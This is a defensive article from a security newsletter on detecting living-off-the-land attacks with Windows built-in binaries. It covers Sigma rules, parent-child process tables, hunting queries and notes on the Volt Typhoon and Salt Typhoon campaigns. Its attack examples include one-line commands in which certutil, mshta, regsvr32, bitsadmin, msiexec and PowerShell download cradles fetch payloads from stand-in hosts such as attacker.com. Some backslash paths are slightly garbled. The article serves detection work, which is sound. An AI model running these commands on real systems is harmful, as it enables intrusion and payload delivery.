Detecting Living Off the Land Attacks: LOLBAS Defense for Enterprise Security Teams
Living off the land (LOTL) is the adversary technique of using tools already present on the target system — Windows built-in binaries, PowerShell, WMI, certutil, mshta, regsvr32 — to execute malicious actions without introducing external malware. Because these tools are legitimate and trusted by the OS, signature-based antivirus and many EDR rules tuned for malware detection miss them entirely. Volt Typhoon maintained access to US critical infrastructure for five or more years using exclusively LOLBAS techniques. Salt Typhoon compromised telecommunications providers across 80 countries using similar approaches. Ransomware groups use LOLBins to disable defenses, move laterally, and exfiltrate data before deploying their payload. Detection requires behavioral analysis, process ancestry tracking, command-line argument monitoring, and anomaly detection against known-good baselines — not signatures.
Why LOLBAS Attacks Are So Effective Against Traditional Security
Living off the land binaries are trusted by the operating system by design. Windows needs PowerShell, certutil, mshta, and wmic to function. Blocking them outright breaks legitimate administration. This creates a fundamental tension: the tools that enable system management are the same tools attackers abuse.
Why signatures fail:
- The binary (powershell.exe, certutil.exe) is legitimate — its hash matches the expected Microsoft-signed binary
- No malware file is introduced to disk — the malicious code is passed as command-line arguments or retrieved from memory
- Traditional AV scans files; LOLBAS attacks execute commands that exist only as transient process state
Why many EDR rules miss them:
- EDR detection rules are often built around known-bad indicators (hashes, domains, file paths)
- LOLBAS attacks use trusted binaries accessing legitimate network resources (GitHub, Pastebin, cloud storage) to retrieve payloads
- Alert fatigue: PowerShell, certutil, and WMI generate enormous volumes of legitimate events — defenders tune out or threshold-suppress noisy rules
Why behavioral detection is the answer: Detection requires asking: is this binary behaving as expected for this system, this user, and this time? A certutil.exe process downloading a file from an external URL is anomalous on a database server. PowerShell executing a Base64-encoded command from a Word document child process is anomalous anywhere. This context requires process ancestry, command-line logging, and behavioral baselines that signature scanning cannot provide.
The MITRE ATT&CK mapping: LOLBAS techniques map across multiple ATT&CK tactics: Execution (T1059 — Command and Scripting Interpreter, T1218 — System Binary Proxy Execution), Defense Evasion (T1218, T1202), Persistence (T1053 — Scheduled Tasks, T1546), Lateral Movement (T1021), and Exfiltration (T1048). The breadth of tactics explains why LOLBAS is embedded in almost every sophisticated intrusion.
The High-Priority LOLBAS Binaries: What to Focus On
The LOLBAS project documents 1,000+ binaries, scripts, and libraries that can be abused. In practice, a small subset accounts for the majority of real-world attacks. Focus detection effort here first.
PowerShell (powershell.exe / pwsh.exe) The most abused LOLBAS. Key malicious patterns:
- Base64-encoded commands:
-EncodedCommandor-encflag - Download cradles:
IEX (New-Object Net.WebClient).DownloadString('http://...') - Bypassing execution policy:
-ExecutionPolicy Bypassor-ep bypass - AMSI bypass attempts: patching
amsi.dllin memory - Encoded/obfuscated scripts:
Invoke-Obfuscation, character substitution
Certutil.exe Legitimate use: manage certificates. Malicious use: download arbitrary files, decode Base64.
- Download:
certutil.exe -urlcache -split -f http://malicious.com/payload.exe - Decode:
certutil.exe -decode encoded.b64 output.exe
Mshta.exe Executes HTA (HTML Application) files, which can contain JavaScript and VBScript. Malicious use: execute remote scripts.
mshta.exe http://attacker.com/payload.htamshta.exe vbscript:Execute("CreateObject(...)")
Regsvr32.exe (Squiblydoo) Legitimate use: register/unregister COM DLLs. Malicious use: execute remote scriptlets, bypassing application allowlisting.
regsvr32 /s /n /u /i:http://attacker.com/payload.sct scrobj.dll
Rundll32.exe Legitimate use: execute DLL functions. Malicious use: execute malicious DLLs, proxy execution to bypass controls.
rundll32.exe javascript:"..\mshtml,RunHTMLApplication "
WMI (wmic.exe / WMIprvse.exe) Legitimate use: system management. Malicious use: lateral movement, remote execution, persistence, data collection.
- Remote process execution:
wmic /node:REMOTE process call create "cmd.exe /c ..." - Subscription persistence via WMI event subscriptions
Bitsadmin.exe / Background Intelligent Transfer Service Legitimate use: Windows update file transfers. Malicious use: download payloads, establish persistence.
bitsadmin /transfer job http://attacker.com/payload.exe C:\payload.exe
Msiexec.exe Legitimate use: install MSI packages. Malicious use: install malicious packages from remote URLs.
msiexec /q /i http://attacker.com/payload.msi
Wscript.exe / Cscript.exe Legitimate use: execute Windows scripts. Malicious use: execute malicious VBScript or JScript.
Briefings like this, every morning before 9am.
Threat intel, active CVEs, and campaign alerts, distilled for practitioners. 50,000+ subscribers. No noise.
Detection Logic: Sigma Rules for Key LOLBAS Techniques
Behavioral detection for LOLBAS requires correlating process creation events (Event ID 4688 with command-line logging enabled, or Sysmon Event ID 1) with process ancestry and command-line content.
Enable command-line logging (prerequisite): Without command-line argument logging, LOLBAS detection is severely limited. Enable via Group Policy: Computer Configuration > Administrative Templates > System > Audit Process Creation > Include command line in process creation events. Or deploy Sysmon with a configuration that captures process creation events (Event ID 1).
Sigma rule: PowerShell download cradle detection
title: PowerShell Download Cradle
id: 3b6ab547-8ec2-4991-b9d2-2b06702a753e
status: stable
description: Detects PowerShell download cradle patterns used to download and execute remote payloads
author: Detection Engineering Team
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: 'powershell.exe'
CommandLine|contains:
- 'DownloadString'
- 'DownloadFile'
- 'WebClient'
- 'Invoke-WebRequest'
- 'iwr '
- 'curl '
filter_legitimate:
CommandLine|contains:
- 'windowsupdate.com'
- 'microsoft.com'
condition: selection and not filter_legitimate
falsepositives:
- Legitimate PowerShell-based deployment scripts
- Software update mechanisms
level: high
tags:
- attack.execution
- attack.t1059.001
Sigma rule: certutil downloading from internet
title: Certutil Download from Internet
id: 19b08b1c-861d-4e75-a1ef-ea0c1baf202b
status: stable
description: Detects certutil.exe used to download files from the internet
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: 'certutil.exe'
CommandLine|contains:
- 'urlcache'
- 'verifyctl'
- 'encode'
- 'decode'
selection_url:
CommandLine|contains:
- 'http://'
- 'https://'
- 'ftp://'
condition: selection and selection_url
falsepositives:
- Legitimate certificate management operations (rare with these flags combined)
level: high
tags:
- attack.defense_evasion
- attack.t1218.013
Sigma rule: mshta executing remote URL
title: Mshta Executing Remote Payload
status: stable
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: 'mshta.exe'
CommandLine|contains:
- 'http://'
- 'https://'
- 'vbscript:'
- 'javascript:'
condition: selection
falsepositives:
- Rare legitimate HTA-based administration tools
level: high
Process Ancestry: The Context That Changes Everything
Command-line content alone generates too many false positives for LOLBAS detection. The most powerful detection layer is process ancestry — who spawned this process?
High-confidence anomalous parent-child relationships:
| Parent Process | Child Process | Why Suspicious |
|---|---|---|
| winword.exe | powershell.exe | Word should not spawn PowerShell |
| excel.exe | cmd.exe | Excel spawning a shell is a macro execution signal |
| outlook.exe | wscript.exe | Email client spawning script host |
| chrome.exe | mshta.exe | Browser spawning HTA executor |
| svchost.exe | powershell.exe | Service host spawning PowerShell (rare legitimate case) |
| powershell.exe | mshta.exe | PowerShell spawning HTA executor (double-hop evasion) |
| msiexec.exe | cmd.exe | Installer spawning shell mid-installation |
Sigma rule: Office application spawning shell
title: Microsoft Office Application Spawning Shell or Script Host
status: stable
logsource:
category: process_creation
product: windows
detection:
selection_parent:
ParentImage|endswith:
- 'winword.exe'
- 'excel.exe'
- 'powerpnt.exe'
- 'outlook.exe'
- 'onenote.exe'
selection_child:
Image|endswith:
- 'cmd.exe'
- 'powershell.exe'
- 'wscript.exe'
- 'cscript.exe'
- 'mshta.exe'
- '
egsvr32.exe'
- '
undll32.exe'
condition: selection_parent and selection_child
falsepositives:
- Legitimate Office macros that call external processes (audit and allowlist)
level: critical
tags:
- attack.execution
- attack.t1566.001
Building parent-child baselines: To reduce false positives, baseline which parent-child process relationships are normal in your environment before deploying detection rules. Run the query in audit mode for two weeks, collect legitimate combinations, add them to the filter block, then enable alerting. This investment dramatically reduces alert fatigue on these high-sensitivity rules.
Volt Typhoon and Salt Typhoon: LOLBAS in Nation-State Campaigns
The CISA advisories on Volt Typhoon and Salt Typhoon provide the clearest real-world picture of how state-sponsored actors use LOLBAS to maintain long-term access.
Volt Typhoon (PRC-sponsored, critical infrastructure): The February 2024 CISA/NSA/FBI advisory describes Volt Typhoon maintaining access to US critical infrastructure for five or more years using exclusively living off the land techniques: no custom malware, no external C2 frameworks, no detectable tooling. Techniques documented:
- Lateral movement via built-in network tools:
net,netstat,ipconfig,ping,tracertfor reconnaissance without external tooling - Credential harvesting via NTDS.dit: dumping Active Directory credentials using
ntdsutiland Volume Shadow Copy Service — both built-in Windows tools - Proxy via built-in VPN and remote access features: using legitimate remote access configurations rather than installing RATs
- Log clearing: using
wevtutilto clear event logs and cover tracks
Salt Typhoon (PRC-sponsored, telecommunications): The Salt Typhoon campaign compromised telecommunications providers including AT&T, Verizon, and T-Mobile using network device compromise combined with LOLBAS on Windows endpoints. Key LOLBAS usage:
- Living off the land on Cisco IOS and Juniper JunOS — using legitimate network management commands to exfiltrate configuration data and intercept traffic
- Windows credential theft via LSASS memory access without loading Mimikatz — using built-in debugging interfaces and legitimate process access
Detection implications from these campaigns:
Both campaigns demonstrate that perimeter-focused detection and signature-based tools provide zero detection value against advanced LOLBAS actors. The detection wins came from behavioral anomaly detection: ntdsutil running on a workstation (not a domain controller) is anomalous; wevtutil clearing logs outside a defined maintenance window is anomalous; outbound connections from legitimate system management binaries to external IPs are anomalous. These detections require behavioral baselines and process telemetry — not signatures.
Building a LOLBAS Hunting Program
Reactive detection from Sigma rules catches known patterns. Proactive threat hunting finds novel LOLBAS abuse before it is documented.
Hunt hypothesis framework: Structure hunts around hypotheses based on attacker objectives. For each ATT&CK technique relevant to your environment, ask: if an attacker were using a LOLBin to achieve this technique, what would it look like in our telemetry?
Hunt 1: Unusual outbound connections from system binaries System binaries (certutil, msiexec, mshta, regsvr32) should rarely initiate outbound internet connections. Query your EDR or network logs:
// Kusto (Microsoft Sentinel / Defender)
DeviceNetworkEvents
| where InitiatingProcessFileName in~ ("certutil.exe", "mshta.exe", "regsvr32.exe", "msiexec.exe", "bitsadmin.exe")
| where RemoteIPType == "Public"
| where TimeGenerated > ago(30d)
| summarize count() by InitiatingProcessFileName, RemoteIP, RemoteUrl
| order by count_ desc
Hunt 2: Encoded PowerShell commands Any Base64-encoded PowerShell command should be decoded and reviewed:
# PowerShell: decode suspicious encoded commands from logs
$encoded = "JABj..." # from command line logs
[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($encoded))
Hunt 3: WMI event subscriptions (persistence) Persistent WMI event subscriptions survive reboots and are invisible to most endpoint tools:
# Query all WMI event subscriptions — any unknown ones are suspicious
Get-WMIObject -Namespace rootsubscription -Class __EventFilter
Get-WMIObject -Namespace rootsubscription -Class __EventConsumer
Get-WMIObject -Namespace rootsubscription -Class __FilterToConsumerBinding
Hunt 4: Scheduled tasks created by unexpected processes New scheduled tasks created by user processes (not SYSTEM or legitimate admin tools) are a persistence signal:
-- Sigma equivalent in Splunk
index=wineventlog EventCode=4698
| where SubjectUserName != "SYSTEM"
| table _time, SubjectUserName, TaskName, TaskContent
Tooling for LOLBAS hunting:
- Velociraptor: Hunt across fleet for LOLBAS IOCs and suspicious process ancestry at scale
- KAPE: Collect prefetch files and Amcache for post-incident reconstruction of LOLBAS execution
- LOLBAS Project (lolbas-project.github.io): Reference for all documented binaries with known malicious uses
- Atomic Red Team: Test your detection coverage by safely simulating LOLBAS techniques against your detection stack
Enable command-line logging
Without command-line arguments in process creation events (Event ID 4688 or Sysmon ID 1), LOLBAS detection is severely limited. Enable via Group Policy or deploy Sysmon with process creation logging.
Deploy process ancestry detection
Alert on high-confidence anomalous parent-child relationships: Office apps spawning PowerShell or cmd.exe, browsers spawning mshta.exe, svchost.exe spawning PowerShell.
Baseline normal LOLBAS usage before alerting
Run Sigma rules in audit mode for two weeks to collect legitimate combinations. Add them to filter blocks before enabling alerting to avoid alert fatigue.
Hunt for WMI persistence subscriptions
Query for all active WMI event subscriptions on endpoints — any unknown subscriptions are suspicious and survive reboots. Most EDR products do not surface these by default.
Test detection coverage with Atomic Red Team
Run Atomic Red Team LOLBAS simulations against your detection stack to identify which techniques you can and cannot detect before an attacker finds the gaps.
The bottom line
Living off the land is the evasion technique of choice for every sophisticated threat actor from nation-state APTs to ransomware groups, precisely because it defeats the signature-based detection that most security programs are built on. The detection answer is behavioral: process ancestry, command-line content analysis, anomaly detection against behavioral baselines, and proactive threat hunting. Enable command-line logging and Sysmon if you have not. Deploy Sigma rules for the highest-priority LOLBAS binaries — PowerShell download cradles, certutil internet access, and Office spawning shells — as your starting set. Then build hunting programs to find LOLBAS abuse that your rules do not yet cover. The Volt Typhoon campaign, which lasted five or more years undetected, is the clearest possible evidence of what happens when organizations rely on signatures against adversaries who have learned to avoid them.
Frequently asked questions
What is a Living Off the Land (LOTL) attack?
A Living Off the Land attack uses legitimate operating system tools, binaries, and administrative frameworks — PowerShell, certutil, WMI, mshta, rundll32, bitsadmin — to execute malicious actions rather than introducing external malware. Because these tools are trusted by the OS and legitimate in many contexts, they evade signature-based antivirus and many EDR detection rules tuned for external malware. Detection requires behavioral analysis: monitoring what these tools do, from what parent process, with what command-line arguments, to what network destinations.
What is LOLBAS?
LOLBAS (Living Off the Land Binaries, Scripts, and Libraries) is both a technique category and a community-maintained project (lolbas-project.github.io) that documents every Windows binary, script, and library that can be abused by attackers. The project catalogues over 1,000 entries with documented malicious uses, MITRE ATT&CK mappings, and detection guidance. It is the reference database for building LOLBAS detection rules.
How did Volt Typhoon use Living Off the Land techniques?
Volt Typhoon (PRC state-sponsored) maintained access to US critical infrastructure for five or more years using exclusively built-in Windows tools: net, netstat, ipconfig, ping for reconnaissance; ntdsutil and Volume Shadow Copy for credential harvesting from Active Directory; legitimate VPN and remote access features for persistence; and wevtutil to clear event logs. No custom malware was introduced, making signature-based detection completely ineffective. Detection came only through behavioral anomaly analysis of built-in tool usage.
What Windows Event IDs are most important for LOLBAS detection?
Event ID 4688 (Process Creation) with command-line logging enabled is the foundation — it captures every process launched with its full command-line arguments. Sysmon Event ID 1 provides equivalent data with additional fields like parent process GUID. Event ID 4698 (Scheduled Task Created) catches LOLBAS persistence via scheduled tasks. Event ID 7045 (Service Installed) catches service-based persistence. WMI persistence requires querying the WMI repository directly — standard event logs do not capture WMI event subscriptions. Enable PowerShell ScriptBlock Logging (Event ID 4104) to capture PowerShell execution content even when obfuscated.
What Sigma rules should I deploy first for LOLBAS detection?
Start with the highest-signal rules: (1) Office applications spawning shell or script hosts — high confidence, low false positives; (2) PowerShell with download cradle patterns (DownloadString, WebClient, IEX); (3) Certutil accessing internet URLs; (4) Mshta executing remote URLs or vbscript; (5) Regsvr32 with /i: flag accessing remote scriptlets. These five rule sets cover the most commonly abused LOLBAS techniques in real intrusions. The SigmaHQ repository has maintained, tested rules for all of these.
How do I reduce false positives in LOLBAS detection rules?
Run rules in audit mode for two to four weeks before enabling alerting. Collect all process combinations that trigger the rule and classify them as legitimate or suspicious. Add legitimate combinations to filter blocks in the Sigma rule's condition. Key legitimate patterns to identify: your software deployment tool that uses PowerShell for installs, your backup software that uses certutil, your MDM platform that uses msiexec. Once known-legitimate patterns are filtered, the remaining alerts have significantly higher fidelity. Process ancestry filtering is the most effective false positive reducer — PowerShell spawned from a software deployment service is different from PowerShell spawned from Word.
Sources & references
Free resources
Critical CVE Reference Card 2025–2026
25 actively exploited vulnerabilities with CVSS scores, exploit status, and patch availability. Print it, pin it, share it with your SOC team.
Ransomware Incident Response Playbook
Step-by-step 24-hour IR checklist covering detection, containment, eradication, and recovery. Built for SOC teams, IR leads, and CISOs.
Get threat intel before your inbox does.
50,000+ security professionals read Decryption Digest for early warnings on zero-days, ransomware, and nation-state campaigns. Free, weekly, no spam.
Unsubscribe anytime. We never sell your data.

Founder & Cybersecurity Evangelist, Decryption Digest
Cybersecurity professional with expertise in threat intelligence, vulnerability research, and enterprise security. Covers zero-days, ransomware, and nation-state operations for 50,000+ security professionals weekly.
The Mythos Brief is free.
AI that finds 27-year-old zero-days. What it means for your security program.
